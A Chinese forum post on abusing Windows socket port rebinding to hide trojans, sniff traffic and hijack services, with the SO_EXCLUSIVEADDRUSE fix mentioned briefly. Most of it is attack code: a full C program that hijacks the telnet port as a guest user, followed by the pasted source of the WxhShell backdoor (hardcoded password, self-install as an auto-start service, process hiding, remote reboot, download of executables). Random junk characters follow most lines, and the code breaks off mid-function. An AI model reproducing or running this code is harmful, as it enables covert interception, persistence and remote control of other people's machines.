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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: k;#$Oxa>t=  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); gXE'3  
> rB7ms/@E  
  saddr.sin_family = AF_INET; f8 B*D4R}  
XK{`x<  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); [`yiD>  
vx5;}[Bhm  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); o>\jc  
Qf$0^$ "  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 _bMD|  
%]nLCoQh  
  这意味着什么?意味着可以进行如下的攻击: 67~m9pk  
|^^;v|  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 u%JM0180  
X CDHd ?Ld  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) plv"/KJM  
`[C8iF*Y"  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 AFc#2wn  
W#8qhmt  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  L/c$p`-  
}$Q+x'  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 t&ztY] qh  
x EOR\(Z^  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 6Bo~7gnc  
e*jn7aya  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ]9]3=;b>  
ghx8dX}  
  #include LGgEq -  
  #include |&o1i~Y  
  #include T=A7f6`  
  #include    LrsP4G  
  DWORD WINAPI ClientThread(LPVOID lpParam);   1x V~EX  
  int main() B@63=a*kG  
  { :2 n5;fp  
  WORD wVersionRequested; ;#G>qo  
  DWORD ret; rM2?"  
  WSADATA wsaData; u> %r(  
  BOOL val; VX[{X8PkS  
  SOCKADDR_IN saddr; ? Ls]k  
  SOCKADDR_IN scaddr; 3|[:8  
  int err; ;KbnaUAS8  
  SOCKET s; w(k7nGU]  
  SOCKET sc; {t;Q#Ou.  
  int caddsize;  4O[5,  
  HANDLE mt; k(3 s^B  
  DWORD tid;   aL-V9y  
  wVersionRequested = MAKEWORD( 2, 2 ); D@"q2 !  
  err = WSAStartup( wVersionRequested, &wsaData ); /ZvNgaH5M  
  if ( err != 0 ) { hOO)0IrIM*  
  printf("error!WSAStartup failed!\n"); Z5bmqhDo[  
  return -1; @J!)o d  
  } Bb}JyT  
  saddr.sin_family = AF_INET; @:oMlIw;  
   s<sqO,!  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 +0^N#0)  
1Yz1/gFj  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60");  UY+~,a  
  saddr.sin_port = htons(23); +VAfT\G2  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) * ,_Qdr^F  
  { oYup*@t  
  printf("error!socket failed!\n"); %_@8f|# ,M  
  return -1; Y=vA ;BE]R  
  } jSaEwN  
  val = TRUE; c5mv4 MC  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 &pZ]F=.r+  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Zdr +{-  
  { U@BVVH?,o  
  printf("error!setsockopt failed!\n"); <*3wnpj_  
  return -1; '355Pce/  
  } _0oZgt)  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; MP w@O0QS  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 >Cb% `pe  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 $_S^Aw?  
V. 1sb pI  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ~*LH[l>K  
  { R 7xV{o  
  ret=GetLastError(); lh(A=hn"n  
  printf("error!bind failed!\n"); 5u~Ik c~  
  return -1; 1&i!92:E  
  } P+%O]v1 Ob  
  listen(s,2); VE wv22'  
  while(1) x1|5q/I  
  { AZI%KM[  
  caddsize = sizeof(scaddr); pn{.oXomf  
  //接受连接请求 $QNfy.6Tn  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); .^,fw=T|1  
  if(sc!=INVALID_SOCKET) f|m.v +7k  
  { Jn' q'+  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); XFG]%y=/6  
  if(mt==NULL) TJ?}5h5  
  { 2^[fUzL?  
  printf("Thread Creat Failed!\n"); 1[} =,uaM  
  break; nO\|43W  
  } DS=kSkW^&5  
  } ~ Y4H)r  
  CloseHandle(mt); Mff_j0D  
  } E@0w t^  
  closesocket(s); E{wVf_K  
  WSACleanup(); FK }x*d  
  return 0; U%t:]6d&}  
  }   RLw=y{%p  
  DWORD WINAPI ClientThread(LPVOID lpParam) D<5gdIw  
  { /UN%P2>^1  
  SOCKET ss = (SOCKET)lpParam; '/z.\S  
  SOCKET sc; sN5 x\9U  
  unsigned char buf[4096]; NV36Q^Am[  
  SOCKADDR_IN saddr; )WwysGkqol  
  long num; eq(|%]a=  
  DWORD val; e4khReF;  
  DWORD ret; rZKv:x}{6  
  //如果是隐藏端口应用的话,可以在此处加一些判断 No =f&GVg  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   O|4~$7  
  saddr.sin_family = AF_INET; \^|ncu:T  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); t{F6+dp  
  saddr.sin_port = htons(23); /n@_Ihx  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) e}(. u1  
  { *q|.H9 K(  
  printf("error!socket failed!\n"); %nFZA)B[  
  return -1; Y^2Ma878  
  } :M1+[FT  
  val = 100; y{!`4CxF  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &{Uaa  
  { ^q%~K{'`-  
  ret = GetLastError(); bxrByu~|1  
  return -1; 4JU#3  
  } RNl%n}   
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 43,- t_jV  
  { K*7*`6iU  
  ret = GetLastError(); 5\:#-IYJ  
  return -1; ,(OA5%A9zK  
  } nFw&vR/q  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 03$Ay_2  
  { [EB2o.E sO  
  printf("error!socket connect failed!\n"); B?#@<2*=L  
  closesocket(sc); v@Otp  
  closesocket(ss); &X}9D)\UJ  
  return -1; Wq&TbWR  
  } 14s+ &  
  while(1) &XrF#s  
  { ;#~rd8Z52  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 hCQ{D|/  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 q'C'S#qqn  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 V0wK.^]+}/  
  num = recv(ss,buf,4096,0); }9 qsPn  
  if(num>0) IW6;ZDP  
  send(sc,buf,num,0); G5TdAW  
  else if(num==0) Nf<([8v;t  
  break; @<>](4D  
  num = recv(sc,buf,4096,0); *M"lUw#(f  
  if(num>0) sBwkHsDD  
  send(ss,buf,num,0); 'ZL)-kbI  
  else if(num==0) 9I]*T  
  break; OFQsfW3O  
  } NawnC!~ $  
  closesocket(ss); ^R>&^"oI  
  closesocket(sc); %#/7Tl:  
  return 0 ; nzhQ\'TC  
  } rf1-E57#  
YHvmo@  
!6f#OAP\  
========================================================== B quyPG"  
B:^5W{  
下边附上一个代码,,WXhSHELL {BJ[h  
;2#7"a^  
========================================================== W5J"#^kdF8  
OwSr`2'9  
#include "stdafx.h" SV6Np?U  
8Ln:y'K  
#include <stdio.h> MbY a6jrF  
#include <string.h> iOj mj0  
#include <windows.h> 5OpK~f5  
#include <winsock2.h> Zt[ P kBi  
#include <winsvc.h> (VC{#^2l  
#include <urlmon.h> pf] sL/g  
Kc{fT^E  
#pragma comment (lib, "Ws2_32.lib") m"H9C-Y  
#pragma comment (lib, "urlmon.lib") 1ub03$pL;  
h=d&@k\g  
#define MAX_USER   100 // 最大客户端连接数 4;w_o9o  
#define BUF_SOCK   200 // sock buffer f{* G%  
#define KEY_BUFF   255 // 输入 buffer ]E[Mv} =  
# ?}WQP!  
#define REBOOT     0   // 重启 3o"~_l$z  
#define SHUTDOWN   1   // 关机 R%7k<1d'`  
5x=tOR/h  
#define DEF_PORT   5000 // 监听端口 &S''fxGL  
Nm#KHA='Z  
#define REG_LEN     16   // 注册表键长度 ~y B[}BPf  
#define SVC_LEN     80   // NT服务名长度 pZjyzH{~  
,((5|MbM/  
// 从dll定义API SJy:5e?zk  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); UL"Jwq D  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -2% [ ]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); KZ/}Iy>As  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); K<Iz5+oD  
:rk]o*  
// wxhshell配置信息 q;>'jHh  
struct WSCFG { Fc 5g~T  
  int ws_port;         // 监听端口 uysGOyi<u  
  char ws_passstr[REG_LEN]; // 口令 crZ\:LeJ  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;I5HMc_a"  
  char ws_regname[REG_LEN]; // 注册表键名 Dc #iM0  
  char ws_svcname[REG_LEN]; // 服务名 ZVK;m1?'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Er~5\9,/<]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;v8,r#4  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 BuK82   
int ws_downexe;       // 下载执行标记, 1=yes 0=no Dugr{Y/0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" BR"*-$u0;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 P(A%z2Ql  
NrS1y"#d9  
}; (MJu3t @  
=_.Zv  
// default Wxhshell configuration iwrdZLE  
struct WSCFG wscfg={DEF_PORT, )9L1WOGi  
    "xuhuanlingzhe", E*rDwTd  
    1, jr~76  
    "Wxhshell", !C#q  
    "Wxhshell", 8h;1(S)*Z  
            "WxhShell Service", 8M(N   
    "Wrsky Windows CmdShell Service", 0~an\4nh  
    "Please Input Your Password: ", gt}/C4|  
  1, N @]*E  
  "http://www.wrsky.com/wxhshell.exe", lyv9eM  
  "Wxhshell.exe" 1)%9h>F7  
    }; s{< rc>  
MEq ()}7P  
// 消息定义模块 0D$+WX  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6j_ A{*~Ng  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {PYN3\N,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .\*\bvyCw  
char *msg_ws_ext="\n\rExit."; 9I^_n+E  
char *msg_ws_end="\n\rQuit."; _y5b>+  
char *msg_ws_boot="\n\rReboot..."; %DzS~5$G  
char *msg_ws_poff="\n\rShutdown..."; ]7'Q2OU7  
char *msg_ws_down="\n\rSave to "; }ndH|,  
I:AlM ?  
char *msg_ws_err="\n\rErr!"; U/|B IF  
char *msg_ws_ok="\n\rOK!";  LDwu?"P!  
?Mji'ZW}  
char ExeFile[MAX_PATH]; 8l;0)`PU  
int nUser = 0; ;'2y6"\Y  
HANDLE handles[MAX_USER]; OO53U=NU  
int OsIsNt; 36&7J{MU  
@: %}clZ  
SERVICE_STATUS       serviceStatus; kTs)u\r.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; iK=H9j  
UI>-5,X  
// 函数声明 ?ew^%1!W.  
int Install(void); \=,+weGw@  
int Uninstall(void); B^{bXhDp  
int DownloadFile(char *sURL, SOCKET wsh); v|QFUa`  
int Boot(int flag); B)ynF?"  
void HideProc(void); bpKMQrwd  
int GetOsVer(void); < ~x5{p  
int Wxhshell(SOCKET wsl); FW[<;$  
void TalkWithClient(void *cs); 'fawpU|h  
int CmdShell(SOCKET sock); l|j&w[c[Q0  
int StartFromService(void); D zl#[|q  
int StartWxhshell(LPSTR lpCmdLine); 7d'4"c;*;  
* Oyic3F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^_)CQ%W?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); EUUj-.dEN  
kc/h]B  
// 数据结构和表定义 .R biF  
SERVICE_TABLE_ENTRY DispatchTable[] = M8S4D&vpD4  
{ fs>0{  
{wscfg.ws_svcname, NTServiceMain}, lKH"PH7*_w  
{NULL, NULL} Gash3}+  
}; N|7<*\o  
"0zMx`Dh  
// 自我安装 OXA_E/F  
int Install(void) %#ms`"H  
{ /KlA7MH6  
  char svExeFile[MAX_PATH]; .-c3f1i  
  HKEY key; ,iiWVA"  
  strcpy(svExeFile,ExeFile); +S0A`rL  
x1mxM#ql  
// 如果是win9x系统,修改注册表设为自启动 G}D?+MWY  
if(!OsIsNt) { >D<nfG<s Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  fB;'U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5 MQRb?[  
  RegCloseKey(key); J6NQ5S\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >i@gR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k 2;m"F  
  RegCloseKey(key); A 7DdUNR  
  return 0; e0>@Yp[Kd  
    } Me5umA  
  } _Y\@{T;^Zb  
} vk;>#yoox  
else { !Me%W3  
vaR0`F  
// 如果是NT以上系统,安装为系统服务 ,ulNap"R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &WvJg#f  
if (schSCManager!=0) ;$[o7Qm5r  
{ bis/Nfr]  
  SC_HANDLE schService = CreateService iWQBo>x  
  ( 3S'V>:  
  schSCManager, R%3H"FU9w  
  wscfg.ws_svcname, q2gc.]K \  
  wscfg.ws_svcdisp, ~3f#cEP>d}  
  SERVICE_ALL_ACCESS, [>Q{70 c[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Q 7B)t;^  
  SERVICE_AUTO_START, jnH44  
  SERVICE_ERROR_NORMAL, ecf<(Vl}  
  svExeFile, >[ 72]<6  
  NULL, 3^1)W!n/  
  NULL, SL@Vk(  
  NULL, fVR ~PG0  
  NULL, hTVN`9h7  
  NULL >SfC '*1  
  ); j] M)i:n  
  if (schService!=0) ~R!(%j ]  
  { O aF+Z@s  
  CloseServiceHandle(schService); 0SvPyf%AC  
  CloseServiceHandle(schSCManager); >2$Ehw:K^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y<3v/ ,Y  
  strcat(svExeFile,wscfg.ws_svcname); Ie4*#N_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { uz'beE  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |W:kzTT-T  
  RegCloseKey(key); ua7I K~8l  
  return 0; b;!ilBc  
    } S$muV9z2=  
  } mpr["C"l  
  CloseServiceHandle(schSCManager); :*c@6;2@  
} \O7,CxD2  
} 2(`2f  
-@^SiI:C  
return 1; R+!2 j  
} fjp>FVv3  
{"{J*QH  
// 自我卸载 )#*c|.  
int Uninstall(void) .=^h@C*   
{ "lN<v=  
  HKEY key; :VLuI  
(T'inNbJe  
if(!OsIsNt) { mjs*Z{_F^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i Cv &<C@  
  RegDeleteValue(key,wscfg.ws_regname); 66Hu<3X P  
  RegCloseKey(key); >|z=-hqPK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #/1A:ig  
  RegDeleteValue(key,wscfg.ws_regname); pR\etXeLd  
  RegCloseKey(key); \I'A:~b)L  
  return 0; WYaDN:kZf  
  } kAy.o  
} 8 LaZ5  
} O8dDoP\F2  
else { L/<Up   
m^]/ /j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); f<kL}B+,Og  
if (schSCManager!=0) <;U"D.'  
{ cJE2z2uW0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `5GJ,*{z  
  if (schService!=0) uLL#(bhDr  
  { $V5Ol6@ 2  
  if(DeleteService(schService)!=0) { kN>d5q9b%X  
  CloseServiceHandle(schService); mT-5Ok&TUe  
  CloseServiceHandle(schSCManager); g3x192f  
  return 0; uc7Y8iO  
  } 6;(Slkv  
  CloseServiceHandle(schService); \DGm[/P  
  } 2M1yw "  
  CloseServiceHandle(schSCManager); !L3Bvb;Q  
} ~{d94o.  
} \19XDqf8  
nMVThN*I g  
return 1; DB>>U>H-  
} n,Ux>L  
* ?KQ\ Y  
// 从指定url下载文件 t.knYO)  
int DownloadFile(char *sURL, SOCKET wsh) [$H8?J   
{ SB  \ptF  
  HRESULT hr; ]]`+aF0  
char seps[]= "/"; D 3Int0n  
char *token; qRB%G<H  
char *file; aG=Y 6j G  
char myURL[MAX_PATH]; VQo7 se1P  
char myFILE[MAX_PATH]; 7c;59$2(  
;\#u19  
strcpy(myURL,sURL); QMfYM~o  
  token=strtok(myURL,seps); 162qxR[.  
  while(token!=NULL) F7"Ihb^l  
  { "aa6W  
    file=token; 1bj75/i<6  
  token=strtok(NULL,seps); 1U"Y'y2  
  } C<n.C*o  
Ho"FB|e  
GetCurrentDirectory(MAX_PATH,myFILE); 9"V27"s  
strcat(myFILE, "\\"); 8E0Rg/DnT  
strcat(myFILE, file); KE5f`h  
  send(wsh,myFILE,strlen(myFILE),0); u $sX6  
send(wsh,"...",3,0); 03rZz1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Y1 -cz:  
  if(hr==S_OK) Hs-NP#I  
return 0; )n0g6  
else %8 4<@f&n]  
return 1; '`3-X];p  
Ogjjjy84vM  
} &"^A  
t-E'foYfr`  
// 系统电源模块 /!%P7F  
int Boot(int flag) 8n&",)U  
{ EkTen:{G  
  HANDLE hToken; P, S9gG9  
  TOKEN_PRIVILEGES tkp; }.T$bj1B;V  
4|:{apH  
  if(OsIsNt) { W tzV|e,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); b]Z@zS<8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); uHf~KYL  
    tkp.PrivilegeCount = 1; aMz%H|/$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {s`1+6_&Vz  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @cjhri|vH  
if(flag==REBOOT) { :Z< 5iLq  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) xaeY^"L  
  return 0; nh E!Pk  
} \XB71DUF  
else { FG8bP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) zBjqYqZ<+  
  return 0; o[cKh7&+  
} -rH3rKtf~  
  } p>!r[v'  
  else { a .] !  
if(flag==REBOOT) { Z;n}*^U  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) O-&n5  
  return 0; pP".?|n  
} iK.MC%8?  
else { Dt +"E  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) g~V{Ca;}  
  return 0; CMF1<A4]  
} r/{VL3}F_e  
} )8Q|y  
.upcUS8  
return 1; X He=  
} `__CL )N|  
?Z14l0iZ%d  
// win9x进程隐藏模块 ' !_44  
void HideProc(void) U}qW9X;o  
{ iSsy_ |  
3cfkJ|fuwe  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); O%+:fJz6wI  
  if ( hKernel != NULL ) m&$H ?yXW>  
  { Z-vzq;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >w*"LZjTTK  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |]`+@K,S  
    FreeLibrary(hKernel); {fGi:b\[ 8  
  } R=9j+74U  
Jl9T[QAJn1  
return; zJx<]=]  
} -l,ib=ne  
,-{j.  
// 获取操作系统版本 u_ Q3v9  
int GetOsVer(void) >2v_fw  
{ #2WBYScW0  
  OSVERSIONINFO winfo; Vy5Q+gw  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~w$8*2D  
  GetVersionEx(&winfo); m _]"L  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) z5i!GJB  
  return 1; 5w1=j\oq  
  else Ri-I+7(n!  
  return 0; o0<T|zgF5,  
} d[o =  
_zpn+XVdQ  
// 客户端句柄模块 IC{>q3  
int Wxhshell(SOCKET wsl) I|`K;a  
{ [6-l6W  
  SOCKET wsh; AX1\L |tJS  
  struct sockaddr_in client; fI BLJ53  
  DWORD myID; cJhf{{_oR  
= tog<7  
  while(nUser<MAX_USER) c`t1:%S  
{ 4 5Ql7~  
  int nSize=sizeof(client); {`3;Pd`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); De^is^{  
  if(wsh==INVALID_SOCKET) return 1; @lj  
Cw+ (,1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4 bJ3uIP#  
if(handles[nUser]==0) I&cb5j]C  
  closesocket(wsh); t^7R6y  
else y k#:.5H  
  nUser++; @E==~ b  
  } 2>H\arEstR  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1fC|_V(0  
ZU:gNO0  
  return 0; hwXp=not(  
} R UX  
Xajjzl\b  
// 关闭 socket >"Hj=?  
void CloseIt(SOCKET wsh) ]Wy V bIu  
{ )*_YeT&w.  
closesocket(wsh); ]-AT(L >  
nUser--; Z6 aT%7}}  
ExitThread(0); 3'']q3H  
} > PYe"  
a;h:o>Do5  
// 客户端请求句柄 sF|$oyDE  
void TalkWithClient(void *cs) -(59F  
{ _WSJg1  
bqe;) A7  
  SOCKET wsh=(SOCKET)cs; lLg23k{'  
  char pwd[SVC_LEN]; yV]-![`D  
  char cmd[KEY_BUFF]; 2.NzB7c*CM  
char chr[1]; (ncfR  
int i,j; T2Vj &EA@  
F_-yT[i  
  while (nUser < MAX_USER) { =-q)I[4#  
@TH \hr]  
if(wscfg.ws_passstr) { D~%cf  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `QkzWy~V3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J*;t{M5  
  //ZeroMemory(pwd,KEY_BUFF); v |i(peA#  
      i=0; PNKmI  
  while(i<SVC_LEN) { 5q) Eed  
tb=(L  
  // 设置超时 <<`."RY#0  
  fd_set FdRead; RSnK`N\9jb  
  struct timeval TimeOut; /stED{j,  
  FD_ZERO(&FdRead); ]ny(l#Hu:  
  FD_SET(wsh,&FdRead); nnE@1X3  
  TimeOut.tv_sec=8; W!Xgse3  
  TimeOut.tv_usec=0; |4'E&(BU-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6#K_Rg>.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); f{)*"  
ML'R[~|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6-JnT_  
  pwd=chr[0]; iFHVr'Og'  
  if(chr[0]==0xd || chr[0]==0xa) { KcrF=cA  
  pwd=0; *U]f6Q<X  
  break; ' Wi*[  
  } xp39TiXJ*  
  i++; 0qTa @y  
    } 'Gc6ZSLM  
B02~/9*Y"  
  // 如果是非法用户,关闭 socket )V>FU=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); r|#4+'  
} \UE9Ff+{  
Cr[#D$::`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); s9'iHe  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a{8GT2h`4  
wj?f r?  
while(1) { oFsMQ Py  
OI-%Ig%C#l  
  ZeroMemory(cmd,KEY_BUFF); ,wFLOfV@  
'shOSB  
      // 自动支持客户端 telnet标准   ?Cu$qE!h)[  
  j=0; vw!i)JO8M  
  while(j<KEY_BUFF) { xA-G&oC]<T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {:rU5 !n  
  cmd[j]=chr[0]; ())|x[>JS+  
  if(chr[0]==0xa || chr[0]==0xd) { oZ=e/\[K  
  cmd[j]=0; G>!"XK:fB  
  break; J:Qp(s-N^:  
  } S1=c_!q%9  
  j++; r|P4|_No  
    } ~+d]yeDrhx  
N@)g3mX>  
  // 下载文件 dk.da&P  
  if(strstr(cmd,"http://")) { G +YF  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); J LeV@NO  
  if(DownloadFile(cmd,wsh)) G%6wk=IH  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +FJ o!~1  
  else a;lCr|*  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nyDqR#t  
  }  CZuxH  
  else { YGNX+6Lz  
zxj!ihs<  
    switch(cmd[0]) { &,#VhT![  
  P "%/  
  // 帮助 [oYe/<3  
  case '?': { \myj Y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N-NwGD{  
    break; )HU?7n.{  
  } ~\Ynih  
  // 安装 CtE".UlCA  
  case 'i': { c#rbyx?5  
    if(Install()) 7IvCMb&%R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yRy9*r=  
    else [Y:HVr,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); - -]\z*x  
    break; \t1vYIY]T  
    } 5Ut0I]h|z  
  // 卸载 ilNm\fQ.  
  case 'r': { ~PV>3c3l=  
    if(Uninstall()) }%:?s6Ler  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vWgh?h/ot  
    else R `'@$"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Rc6Rk!^  
    break; 7'<4'BGzl]  
    } [s2%t"H-y  
  // 显示 wxhshell 所在路径 QzS{2Y[OQ  
  case 'p': { co*5NM^  
    char svExeFile[MAX_PATH]; 5 Fd]3  
    strcpy(svExeFile,"\n\r"); :b ;5O3:B  
      strcat(svExeFile,ExeFile);  %k2zsM  
        send(wsh,svExeFile,strlen(svExeFile),0); X~R qv5@-  
    break; LyQO_mT2  
    } rDSt ~ l  
  // 重启 85X^T]zo  
  case 'b': { 5 )C~L]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); PzF)Vg  
    if(Boot(REBOOT)) [Z[)hUXE?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nU`;MW/^w  
    else { >U}~Hv]  
    closesocket(wsh); w68qyG|wM  
    ExitThread(0); Tq?W @DM*  
    } q`\lvdl  
    break; wUSWB{y  
    } o3`Z@-.G  
  // 关机 q!7\`>.2:{  
  case 'd': { T xN5K`q  
